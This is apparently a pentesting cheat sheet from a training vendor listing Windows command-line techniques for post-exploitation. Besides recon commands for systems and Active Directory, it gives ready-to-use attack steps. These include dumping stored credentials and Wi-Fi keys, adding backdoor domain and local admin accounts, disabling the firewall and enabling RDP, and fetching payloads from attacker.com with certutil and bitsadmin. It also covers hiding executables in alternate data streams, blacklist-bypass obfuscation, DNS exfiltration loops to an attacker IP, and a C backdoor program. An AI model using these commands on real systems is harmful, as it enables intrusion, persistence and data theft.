# Practical Windows Commands

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

### Basic Recon: System & Patch Info

Before launching privilege escalation or lateral movement, always enumerate the target machine:

```cmd
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
wmic computersystem LIST full #Get PC info
wmic qfe list brief #Updates
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches

hostname

DRIVERQUERY #3rd party driver vulnerable?
```

* **Check patch levels:** `wmic qfe get Caption,Description,HotFixID,InstalledOn`
* **Get only OS name/version:**\
  `systeminfo | findstr /B /C:"OS Name" /C:"OS Version"`

***

### 🌍 Environment Variables Worth Checking

```cmd
set
```

Key variables:

* `%USERNAME%`, `%COMPUTERNAME%`, `%HOMEPATH%`
* `%LOGONSERVER%`, `%USERDNSDOMAIN%`, `%USERDOMAIN%`
* `%TEMP%`, `%windir%`

Some env variables to highlight:

* **COMPUTERNAME**: Name of the computer
* **TEMP/TMP:** Temp folder
* **USERNAME:** Your username
* **HOMEPATH/USERPROFILE:** Home directory
* **windir:** C:\Windows
* **OS**:Windos OS
* **LOGONSERVER**: Name of domain controller
* **USERDNSDOMAIN**: Domain name to use with DNS
* **USERDOMAIN**: Name of the domain

➡️ Identify the domain controller:

```cmd
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```

***

### Drives and Disk Info

```cmd
wmic logicaldisk get caption,description,providername
fsutil fsinfo drives
```

***

### Windows Defender & Recycle Bin

* Defender Status:\
  \&#xNAN;*(PowerShell-based commands are preferred for Defender bypass — covered in other posts.)*
* Check for deleted data:

```cmd
dir C:\$Recycle.Bin /s /b
```

***

### Processes, Services & Installed Software

```cmd
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```

Installed programs:

```cmd
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```

***

### Active Directory Enumeration

#### Basic Domain Info

```cmd
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

```

#### Enumerate Users

```cmd
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```

Check domain user details:

```cmd
net user <username> /domain
```

#### Enumerate Groups

```cmd
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

```

#### List Domain Computers

```cmd
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
```

***

### Logs & Sessions

```cmd
wevtutil qe security /f:text
qwinsta
klist sessions
logonsessions.exe
```

#### Password Policy <a href="#password-policy" id="password-policy"></a>

```
net accounts
```

#### Credentials <a href="#credentials" id="credentials"></a>

```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```

#### Persistence with users <a href="#persistence-with-users" id="persistence-with-users"></a>

```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```

***

### Local & Domain Users / Groups

```cmd
whoami /all
net users
net localgroup
net localgroup administrators
```

➡️ Add local user to admin:

```cmd
net user verylazytech verylazytech123! /add
net localgroup administrators verylazytech /add
```

***

### Network Enumeration

```cmd
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```

View DNS cache:

```cmd
ipconfig /displaydns
```

***

### Windows Firewall Control

Check current config:

```cmd
netsh advfirewall firewall show rule name=all
```

Disable firewall:

```cmd
netsh advfirewall set allprofiles state off
```

Allow port:

```cmd
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389
```

Full list:

```
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```

***

### Persistence & RDP Access

Enable RDP:

```cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
```

Create RDP-ready admin:

```cmd
net user pentest Pass123! /add
net localgroup administrators pentest /add
net localgroup "Remote Desktop Users" pentest /add
```

***

### Shares, SNMP, and Wi-Fi Access

```cmd
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```

#### Wifi

```
/netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```

#### SNMP

```cmd
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```

***

### File Downloading Tricks

Using built-in tools:

#### Certutil:

```cmd
certutil.exe -urlcache -split -f "http://attacker.com/shell.exe" shell.exe
```

#### Bitsadmin:

```cmd
bitsadmin /create dl
bitsadmin /addfile dl http://attacker.com/file.exe C:\temp\file.exe
bitsadmin /resume dl
```

More download techniques:\
<https://lolbas-project.github.io>

***

### Extra Tricks

#### Alternate Data Streams (ADS)

Hide malware in alternate data streams:

```cmd
type C:\evil.exe > "C:\safe.txt:evil.exe"
```

List ADS:

```cmd
dir /R
```

Execute ADS:

```cmd
wmic process call create "C:\safe.txt:evil.exe"
```

***

### 🤯 CMD Obfuscation & DNS Exfiltration

Bypass blacklists:

```cmd
echo %HOMEPATH:~6,-11%
who^ami
```

Use DNS as a covert exfiltration channel:

```cmd
for /f %a in ('whoami') do nslookup %a <KALI_IP>
```

***

### Run CMD from C (Persistence Example)

```c
#include <stdlib.h>

int main (){
    system("net user backdoor pass123! /add");
    system("net localgroup administrators backdoor /add");
    return 0;
}
```

Compile:

```bash
i686-w64-mingw32-gcc backdoor.c -o backdoor.exe
```

***

## Misc.

```
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```

### Bypass Char Blacklisting <a href="#bypass-char-blacklisting" id="bypass-char-blacklisting"></a>

```bash
echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami
```

### DOSfuscation <a href="#dosfuscation" id="dosfuscation"></a>

Generates an obfuscated CMD line

```bash
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```

### Listen address ACLs <a href="#listen-address-acls" id="listen-address-acls"></a>

You can listen on [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary_Listen_Addresses/) without being administrator.

```bash
netsh http show urlacl
```

### Manual DNS shell <a href="#manual-dns-shell" id="manual-dns-shell"></a>

**Attacker** (Kali) must use one of these 2 options:

```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```

### **Victim**

**`for /f tokens`** technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```

You can also **redirect** the output, and then **read** it.

```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```

***

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}